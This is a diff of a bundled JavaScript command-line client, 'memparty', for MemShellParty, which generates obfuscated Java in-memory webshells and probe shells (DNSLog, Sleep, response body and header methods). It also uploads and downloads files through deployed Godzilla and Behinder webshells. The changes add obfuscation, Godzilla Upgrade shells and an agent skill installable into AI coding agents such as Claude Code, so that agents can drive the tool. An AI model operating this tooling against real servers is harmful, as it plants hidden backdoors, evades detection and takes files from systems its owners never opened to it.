const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
|
|
4949
5706
|
const probeMethod = await select2({
|
|
4950
5707
|
message: "Probe method",
|
|
4951
5708
|
choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
|
|
4952
5709
|
});
|
|
4953
5710
|
const probeContent = await select2({
|
|
4954
5711
|
message: "Probe content",
|
|
4955
|
-
choices: PROBE_CONTENTS.map((
|
|
5712
|
+
choices: PROBE_CONTENTS[probeMethod].map((content) => ({
|
|
5713
|
+
name: content,
|
|
5714
|
+
value: content
|
|
5715
|
+
}))
|
|
4956
5716
|
});
|
|
4957
|
-
const
|
|
4958
|
-
message: "Packer",
|
|
4959
|
-
choices: packerTree.
|
|
4960
|
-
{ name: p.name, value: p.name },
|
|
4961
|
-
...p.children.map((c) => ({ name: ` ${c}`, value: c }))
|
|
4962
|
-
])
|
|
5717
|
+
const category = await select2({
|
|
5718
|
+
message: "Packer category",
|
|
5719
|
+
choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
|
|
4963
5720
|
});
|
|
5721
|
+
const selected = packerTree.find((packer2) => packer2.name === category);
|
|
5722
|
+
const packer = selected.children.length ? await select2({
|
|
5723
|
+
message: "Packer variant",
|
|
5724
|
+
choices: selected.children.map((name) => ({ name, value: name }))
|
|
5725
|
+
}) : category;
|
|
4964
5726
|
const opts = { probeMethod, probeContent, packer };
|
|
4965
5727
|
switch (probeMethod) {
|
|
4966
5728
|
case "DNSLog":
|
|
@@ -4973,23 +5735,21 @@ async function runProbeWizard(client) {
|
|
|
4973
5735
|
});
|
|
4974
5736
|
opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
|
|
4975
5737
|
break;
|
|
4976
|
-
case "ResponseBody":
|
|
4977
|
-
|
|
4978
|
-
try {
|
|
4979
|
-
responseBodyServers = await client.getProbeResponseBodyServers();
|
|
4980
|
-
} catch {
|
|
4981
|
-
}
|
|
5738
|
+
case "ResponseBody":
|
|
5739
|
+
case "ResponseHeader":
|
|
4982
5740
|
opts.server = await select2({
|
|
4983
5741
|
message: "Server",
|
|
4984
|
-
choices:
|
|
5742
|
+
choices: servers.map((s) => ({ name: s, value: s }))
|
|
4985
5743
|
});
|
|
4986
|
-
opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
|
|
5744
|
+
opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
|
|
4987
5745
|
opts.commandTemplate = await input2({
|
|
4988
5746
|
message: "Command template (optional, {command} placeholder)",
|
|
4989
5747
|
default: ""
|
|
4990
5748
|
});
|
|
5749
|
+
if (probeMethod === "ResponseHeader") {
|
|
5750
|
+
opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
|
|
5751
|
+
}
|
|
4991
5752
|
break;
|
|
4992
|
-
}
|
|
4993
5753
|
default:
|
|
4994
5754
|
break;
|
|
4995
5755
|
}
|
|
@@ -5004,7 +5764,8 @@ async function runProbeWizard(client) {
|
|
|
5004
5764
|
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
5005
5765
|
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
5006
5766
|
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
5007
|
-
{ name: "debug", value: "debug" }
|
|
5767
|
+
{ name: "debug", value: "debug" },
|
|
5768
|
+
{ name: "class obfuscation (v3+)", value: "obfuscate" }
|
|
5008
5769
|
]
|
|
5009
5770
|
});
|
|
5010
5771
|
opts.shrink = toggles.includes("shrink");
|
|
@@ -5012,6 +5773,7 @@ async function runProbeWizard(client) {
|
|
|
5012
5773
|
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
5013
5774
|
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
5014
5775
|
opts.debug = toggles.includes("debug");
|
|
5776
|
+
opts.obfuscate = toggles.includes("obfuscate");
|
|
5015
5777
|
const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
|
|
5016
5778
|
if (!confirmed) throw new Error("Cancelled by user.");
|
|
5017
5779
|
return opts;
|
|
@@ -5029,6 +5791,8 @@ function toOptions2(o) {
|
|
|
5029
5791
|
byPassJavaModule: o.bypassModule,
|
|
5030
5792
|
shrink: o.shrink,
|
|
5031
5793
|
lambdaSuffix: o.lambdaSuffix,
|
|
5794
|
+
obfuscate: o.obfuscate,
|
|
5795
|
+
obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
|
|
5032
5796
|
staticInitialize: o.staticInitialize,
|
|
5033
5797
|
shellClassName: o.shellClassName,
|
|
5034
5798
|
host: o.host,
|
|
@@ -5036,11 +5800,12 @@ function toOptions2(o) {
|
|
|
5036
5800
|
sleepServer: o.sleepServer,
|
|
5037
5801
|
server: o.server,
|
|
5038
5802
|
reqParamName: o.reqParamName,
|
|
5039
|
-
commandTemplate: o.commandTemplate
|
|
5803
|
+
commandTemplate: o.commandTemplate,
|
|
5804
|
+
respHeaderName: o.respHeaderName
|
|
5040
5805
|
};
|
|
5041
5806
|
}
|
|
5042
5807
|
function registerProbeCommand(program) {
|
|
5043
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content:
|
|
5808
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
5044
5809
|
"after",
|
|
5045
5810
|
`
|
|
5046
5811
|
Examples:
|
|
@@ -5050,6 +5815,7 @@ Examples:
|
|
|
5050
5815
|
$ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
|
|
5051
5816
|
$ memparty probe -m Sleep -c Server -p DefaultBase64 \\
|
|
5052
5817
|
--sleep-server Tomcat --seconds 5
|
|
5818
|
+
$ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
|
|
5053
5819
|
|
|
5054
5820
|
Note: a probe is a detection shell that reports what the target supports.
|
|
5055
5821
|
The server name reported by '-c Server' is the value to pass as
|
|
@@ -5217,7 +5983,7 @@ ${lines.join("\n")}
|
|
|
5217
5983
|
}
|
|
5218
5984
|
|
|
5219
5985
|
// src/commands/skill.ts
|
|
5220
|
-
import { Command as
|
|
5986
|
+
import { Command as Command8 } from "commander";
|
|
5221
5987
|
|
|
5222
5988
|
// src/core/skill-install.ts
|
|
5223
5989
|
import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
|
|
@@ -5261,7 +6027,7 @@ function installSkill(scopes, opts = {}) {
|
|
|
5261
6027
|
// src/commands/skill.ts
|
|
5262
6028
|
function registerSkillCommand(program) {
|
|
5263
6029
|
program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
|
|
5264
|
-
new
|
|
6030
|
+
new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
|
|
5265
6031
|
"after",
|
|
5266
6032
|
`
|
|
5267
6033
|
The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
|
|
@@ -5312,7 +6078,7 @@ Examples:
|
|
|
5312
6078
|
}
|
|
5313
6079
|
|
|
5314
6080
|
// src/commands/target.ts
|
|
5315
|
-
import { Option as
|
|
6081
|
+
import { Option as Option7 } from "commander";
|
|
5316
6082
|
function parseExtraHeaders3(lines) {
|
|
5317
6083
|
const headers = {};
|
|
5318
6084
|
for (const line of lines ?? []) {
|
|
@@ -5362,8 +6128,8 @@ function registerTargetCommand(program) {
|
|
|
5362
6128
|
program.command("save").description(
|
|
5363
6129
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
5364
6130
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
5365
|
-
new
|
|
5366
|
-
).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
6131
|
+
new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
|
|
6132
|
+
).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
5367
6133
|
"after",
|
|
5368
6134
|
`
|
|
5369
6135
|
Examples:
|
|
@@ -5407,6 +6173,7 @@ save is for choosing the name by hand.
|
|
|
5407
6173
|
headerValue: opts.headerValue,
|
|
5408
6174
|
extraHeaders: parseExtraHeaders3(opts.header),
|
|
5409
6175
|
profile: opts.profile,
|
|
6176
|
+
upgradeProtocol: opts.upgradeProtocol,
|
|
5410
6177
|
insecure: opts.insecure || void 0,
|
|
5411
6178
|
remark: opts.shellRemark
|
|
5412
6179
|
};
|
|
@@ -5514,7 +6281,7 @@ save is for choosing the name by hand.
|
|
|
5514
6281
|
|
|
5515
6282
|
// src/commands/transfer.ts
|
|
5516
6283
|
import { writeFileSync as writeFileSync6 } from "fs";
|
|
5517
|
-
import { Option as
|
|
6284
|
+
import { Option as Option8 } from "commander";
|
|
5518
6285
|
function parseExtraHeaders4(lines) {
|
|
5519
6286
|
const headers = {};
|
|
5520
6287
|
for (const line of lines ?? []) {
|
|
@@ -5537,7 +6304,8 @@ function resolveTransfer(name, opts, timeoutMs) {
|
|
|
5537
6304
|
headerName: opts.headerName,
|
|
5538
6305
|
headerValue: opts.headerValue,
|
|
5539
6306
|
extraHeaders: parseExtraHeaders4(opts.header),
|
|
5540
|
-
insecure: opts.insecure
|
|
6307
|
+
insecure: opts.insecure,
|
|
6308
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
5541
6309
|
});
|
|
5542
6310
|
} catch (err) {
|
|
5543
6311
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -5551,7 +6319,8 @@ function resolveTransfer(name, opts, timeoutMs) {
|
|
|
5551
6319
|
headerValue: conn.headerValue,
|
|
5552
6320
|
extraHeaders: conn.extraHeaders,
|
|
5553
6321
|
timeoutMs,
|
|
5554
|
-
insecure: conn.insecure
|
|
6322
|
+
insecure: conn.insecure,
|
|
6323
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
5555
6324
|
}
|
|
5556
6325
|
};
|
|
5557
6326
|
}
|
|
@@ -5586,8 +6355,8 @@ function printResult(result, localPath, savedAs, json) {
|
|
|
5586
6355
|
}
|
|
5587
6356
|
function registerDownloadCommand(program) {
|
|
5588
6357
|
program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5589
|
-
new
|
|
5590
|
-
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
6358
|
+
new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
|
|
6359
|
+
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
|
|
5591
6360
|
"--remote-charset <label>",
|
|
5592
6361
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
5593
6362
|
).option(
|
|
@@ -5677,8 +6446,8 @@ is never overwritten unless --force is given.
|
|
|
5677
6446
|
}
|
|
5678
6447
|
function registerUploadCommand(program) {
|
|
5679
6448
|
program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5680
|
-
new
|
|
5681
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
6449
|
+
new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
|
|
6450
|
+
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
|
|
5682
6451
|
"--remote-charset <label>",
|
|
5683
6452
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
5684
6453
|
).option(
|
|
@@ -5894,7 +6663,7 @@ async function startRepl(build) {
|
|
|
5894
6663
|
|
|
5895
6664
|
// src/cli.ts
|
|
5896
6665
|
function buildProgram() {
|
|
5897
|
-
const program = new
|
|
6666
|
+
const program = new Command12();
|
|
5898
6667
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
5899
6668
|
"--api <url>",
|
|
5900
6669
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -5922,6 +6691,7 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
5922
6691
|
registerGenCommand(program);
|
|
5923
6692
|
registerProbeCommand(program);
|
|
5924
6693
|
registerConfigCommand(program);
|
|
6694
|
+
registerBytecodeCommand(program);
|
|
5925
6695
|
registerConnectCommand(program);
|
|
5926
6696
|
registerExecCommand(program);
|
|
5927
6697
|
registerDownloadCommand(program);
|